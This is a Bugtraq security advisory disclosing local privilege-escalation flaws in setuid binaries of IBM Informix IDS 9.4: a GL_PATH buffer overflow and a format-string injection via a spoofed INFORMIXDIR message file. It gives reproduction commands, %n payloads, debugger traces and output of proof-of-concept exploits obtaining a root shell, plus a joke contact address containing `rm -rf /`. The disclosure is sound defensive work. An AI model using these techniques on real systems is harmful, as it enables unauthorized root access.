Bugtraq mailing list archives

SRT2004-01-18-0747 - IBM Informix IDS 9.4 contains multiple vulnerabilities


From: KF <dotslash () snosoft com>
Date: Fri, 14 Mar 2003 01:18:51 -0500

Secure Network Operations, Inc.             http://www.secnetops.com/research
Strategic Reconnaissance Team               research[at]secnetops[.]com
Team Lead Contact                           kf[at]secnetops[.]com
Spam Contact                                `rm -rf /`@snosoft.com

Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion 
Detection Systems (IDS), Software Security Validation, and 
Corporate/Private Network Security. Our mission is to facilitate a 
secure and reliable Internet and inter-enterprise communications 
infrastructure through the products and services we offer. 

To learn more about our company, products and services or to request a 
demo of ANVIL FCS please visit our site at http://www.secnetops.com, or 
call us at: 978-263-3829


Quick Summary:
************************************************************************
Advisory Number         : SRT2004-01-18-0747
Product                 : IBM Informix IDS 
Version                 : Version : 9.40.xC[12] (tested 9.40.UC1)
Vendor                  : http://www-3.ibm.com/software/data/informix/
Class                   : Local
Criticality             : High 
Operating System(s)     : *nix 


Notice
************************************************************************
1-2 day Early Warning List:
---------------------------
Secure Network Operations, inc. will very shortly have its own advisory 
notification mailing list. This list will notify you of advisories 1-2 
days in advance of public release to other mailing lists. To subscribe 
please visit http://advisories.secnetops.com in the immediate future. 

30-60 day Early Warning List:
-----------------------------
Our early warning service will notify you of new vulnerabilities 30-60 
days in advance of public release. This service has been created to protect 
companies by allowing them to repair security vulnerabilities before they 
become public knowledge. To purchase a one year subscription to this 
service please contact us at 978-263-3767.

Alert
***********************************************************************
Our advisories will contain full details excluding a working Proof of 
Concept. Our web page will contain our working proof of concept for the 
advisory if it exists. Yes folks this is a policy change for us. We 
will exercise our own disgression in regards to delay of exploit release
vs advisory release. List subscribers will have advanced access to working
proof of concept code depending on the severity and list subscription type. 

Basic Explanation
************************************************************************
High Level Description  : IDS 9.4 contains multiple vulnerabilities

What to do              : Update to patch level IDS 9.40.UC3, 9.30.UC7 
                          and 7.31.UD7 fix pack releases

Basic Technical Details
************************************************************************
Proof Of Concept Status : SNO has Proof of Concept. 

Low Level Description   : Informix Dynamic Server 9.4 is a best-of-breed 
online transaction processing database for enterprise and workgroup 
computing. IDS is built on Dynamic Scalable Architecture that uses 
hardware resources more efficiently and minimizes hardware requirements.

During routine product evalutation we noticed several setuid binaries 
that contained security issues. Our Informix installation came with the 
following setuid and setgid files: 

-rwsr-sr--    1 root     informix 10153315 Jul 19 12:30 ./oninit
-rwsr-sr-x    1 root     informix  1019813 Jul 19 12:30 ./onmode
-rwsr-sr-x    1 root     informix  1066468 Mar 15 11:47 ./onedcu
-rwsr-sr-x    1 root     informix    13443 Mar 15 11:46 ./ifmxgcore
-rwsr-sr-x    1 root     informix  1615730 Jul 19 12:30 ./ontape
-rwsr-sr-x    1 root     informix  1831430 Mar 15 11:51 ./ondblog
-rwsr-sr-x    1 root     informix  1897244 Jul 19 12:30 ./onbar_d
-rwsr-sr-x    1 root     informix  1909871 Jul 19 12:30 ./onsmsync
-rwsr-sr-x    1 root     informix  2143212 Jul 19 12:30 ./onmonitor
-rwsr-sr-x    1 root     informix   511534 Mar 15 11:53 ./sgidsh
-rwsr-sr-x    1 root     informix   511623 Mar 15 11:53 ./mkdbsdir
-rwsr-sr-x    1 root     informix   537232 Jul 19 12:30 ./onshowaudit
-rwsr-sr-x    1 root     informix   948490 Jul 19 12:30 ./onaudit
-rwxr-sr-x    1 informix informix  1063801 Mar 15 11:47 ./xtree
-rwxr-sr-x    1 informix informix  1196928 Jul 19 12:29 ./onspaces
-rwxr-sr-x    1 informix informix  1199645 Jul 19 12:29 ./onparams
-rwxr-sr-x    1 informix informix  1314460 Jul 19 12:29 ./onlog
-rwxr-sr-x    1 informix informix  1438131 Jul 19 12:29 ./oncheck
-rwxr-sr-x    1 informix informix  2235020 Jul 19 12:29 ./onpload
-rwxr-sr-x    1 informix informix  3974843 Jul 19 12:29 ./onstat
-rwxr-sr-x    1 informix informix   539519 Mar 15 11:47 ./onedpu
-rwxr-sr-x    1 informix informix   895422 Jul 19 12:29 ./onload
-rwxr-sr-x    1 informix informix   895424 Jul 19 12:29 ./onunload

Most if not all of the binaries share common exploitable conditions.
The first issue we noticed was a simple buffer overflow in the GL_PATH
environment variable. 

[informix@vegeta bin]$ export GL_PATH=`perl -e 'print "A" x 998'`
[informix@vegeta bin]$ ./xtree
Segmentation fault

A quick run in gdb shows us the following. Smaller string lengths reveal
that this issue may be complicated because of a few free() calls.  

[root@vegeta bin]# export GL_PATH=`perl -e 'print "A" x 3068'`ABCD

(gdb) i r
eax            0x44434241       1145258561
ecx            0x1      1
edx            0x53     83
ebx            0x401f21c0       1075782080
esp            0xbfffcaf0       0xbfffcaf0
ebp            0xbfffd1ac       0xbfffd1ac
esi            0x44434241       1145258561
edi            0xbfffcd4c       -1073754804
eip            0x401361db       0x401361db
...
(gdb) bt
#0  0x401751db in strlen () from /lib/libc.so.6
#1  0x40144c7e in vfprintf () from /lib/libc.so.6
#2  0x4015fb2c in vsprintf () from /lib/libc.so.6
#3  0x4014d02d in sprintf () from /lib/libc.so.6
#4  0x080a2138 in gl_path_search1 ()

[informix@vegeta bin]$ for each in `find . -perm -2000 -user informix`
do
echo $each
$each
done
./onstat
Segmentation fault
./onspaces
Segmentation fault
./onparams
Segmentation fault
./onload
Segmentation fault
./oncheck
Segmentation fault
./onunload
Segmentation fault

[informix@vegeta bin]$ for each in `find . -perm -4000`
do  
echo $each
$each
done
./oninit
Segmentation fault
./onmode
Segmentation fault
./onedcu
Segmentation fault
./onshowaudit
Segmentation fault
./onaudit
Segmentation fault
./onbar_d
Segmentation fault
./ondblog
Segmentation fault
./onsmsync
Segmentation fault
./ontape
Segmentation fault

The next vulnerability we discovered is a bit more complex. When Informix
binaries are run they begin to look for several message files. It looks for
them in relation to the INFORMIXDIR environment variable. 

If we set INFORMIXDIR to /tmp we can see it begins searching /tmp for the 
necessary files. 

[root@vegeta bin]# export INFORMIXDIR=/tmp
[root@vegeta bin]# strace ./onmonitor
execve("./onmonitor", ["./onmonitor"], [/* 34 vars */]) = 0
...
open("/tmp/en_us/0333.lco", O_RDONLY|O_LARGEFILE)
open("/tmp/etc/informix.rc", O_RDONLY|O_LARGEFILE)
open("/tmp/os/en_US.819", O_RDONLY|O_LARGEFILE)
open("/tmp/registry", O_RDONLY)

Depending on the application you are exploiting you will see that 
several files are searched for. 

Below we use /usr/informix/bin/oncheck as an example. We can see that it
searches for olutil.iem.

[root@vegeta informix]# bin/oncheck -cc aaa
shared memory not initialized for INFORMIXSERVER '<NULL>'

[root@vegeta bin]# strace bin/oncheck -cc aaa
... 
strcat("/usr/informix/msg/en_us/0333"..., "olutil.iem")
access("/usr/informix/msg/en_us/0333"..., 4)
lseek64(3, 37251, 0, 0, 0)                      
read(3, "shared memory no"..., 55) 
strcpy(0x081da720, "shared memory no"...)
printf("shared memory not initialized for INFORMIXSERV"... 

Since we control the INFORMIXDIR it is fairly trivial for us to inject 
format string messages into the printf() statements that are included 
in order to throw various error messages. 

Since INFORMIXDIR has a lot of critical items in it we must first make a
copy of it. The easiest way of doing this is via multiple symlinks. 

[kf@vegeta kf]$ cd /tmp
[kf@vegeta tmp]$ for each in `find /usr/informix/ -type d`; do mkdir -p ./$each ; done
[kf@vegeta tmp]$ for each in `find /usr/informix`; do ln -s $each ./$each; done

Since we need to edit the message file we will need to rm the link and
copy the file into the correct location.

[kf@vegeta tmp]$ rm usr/informix/msg/en_us/0333/olutil.iem
[kf@vegeta tmp]$ cp /usr/informix/msg/en_us/0333/olutil.iem usr/informix/msg/en_us/0333/

Using the above oncheck example we will need to edit the olutil.iem.

Open up usr/informix/msg/en_us/0333/olutil.iem in vi and search for: 
shared memory not initialized for INFORMIXSERVER '<NULL>'

As a test we can change the text to the following:
^@%x.%x. memory not initialized for INFORMIXSERVER '%s'

Running the binary again shows that we have hit paydirt. 
[kf@vegeta tmp]$ bin/oncheck -cc aaa
81da718.bfffda08. memory not initialized for INFORMIXSERVER '�jhC�'

Obviously if we change the message to the following it becomes more
interesting:
%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n

[kf@vegeta tmp]$ bin/oncheck -cc aaa
Segmentation fault

Gdb shows us the obvious...
Program received signal SIGSEGV, Segmentation fault.
0x40144f56 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0  0x40144f56 in vfprintf () from /lib/libc.so.6
#1  0x4014cfb2 in printf () from /lib/libc.so.6
#2  0x0804b946 in main ()

Strace shows us in detail what is going on. 

[080b1a11] strcat("/tmp/usr/informix/msg/en_us/0333"..., "olutil.iem")
[080fc03b] access("/tmp/usr/informix/msg/en_us/0333"..., 4)
[080d9613] lseek64(3, 37251, 0, 0, 0)                                       = 37251
[080d95f2] read(3, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"..., 55)               = 55
[080b0207] strcpy(0x081da720, "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"...)        = 0x081da720
[0804b946] printf("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n"... <unfinished ...>
[40144f56] --- SIGSEGV (Segmentation fault) ---
[ffffffff] +++ killed by SIGSEGV +++

We currently have two different Proof of Concept exploits for the above
mentioned conditions. One takes gid informix and the other uid root. 
The data below shows a test run of each one. 

bash$ ./0x82-Local.InformixIDS -t0 -d /tmp/informix/ -g 999

  IBM Informix IDS 9.40 format string exploit.

  [+] Target Program: /usr/informix/bin/onparams
  [+] .dtors address: 0x81206ec
  [+] Shellcode address: 0xbfffffb3
  [+] flag and pad brute-force mode: (100:0)
  ...
  [*] Found it !!! (102:3)
  [*] Waiting shell ...

      ...
                                 ...
                                        81876d8
                   ...
                  0d for INFORMIXSERVER '(null)'
 sh-2.04$ id
 uid=500(x82) gid=999(informix) groups=500(x82)

and 

 bash$ ./0x82-InformixIDS_r00t -d /tmp/informix/

  IBM Informix IDS 9.40 format string local root exploit.

  [+] Target Program: /usr/informix/bin/ontape
  [+] .dtors address: 0x817c8e4
  [+] Shellcode address: 0xbfffffb3
  [+] flag and pad brute-force mode: (100:0)
  .......................................................
  [*] Found it !!! (212:0)
  [*] Waiting root shell ...

      ...
                                 ...
                                          bfff769c
                    ...
               0guration file $INFORMIXDIR/etc/$ONCONFIG.

 Program over.
 sh-2.04# id
 uid=0(root) gid=0(root) 

Vendor Status           : IBM addressed this issue in a prompt, efficient and intelligent manner.
                          Jonathan Leffler really stepped up to the plate so to speak, and provided 
                          the SRT with more than enough information regarding this issue as well as 
                          the actions taken to resolve this issue!

Bugtraq URL             : To be assigned. 

Disclaimer
----------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Release of exploit code is done at our 
own discretion. 
----------------------------------------------------------------------
All content of this advisory is property of Secure Network Operations.
----------------------------------------------------------------------
Secure Network Operations, Inc. || http://www.secnetops.com
"Embracing the future of technology, protecting you."



Current thread: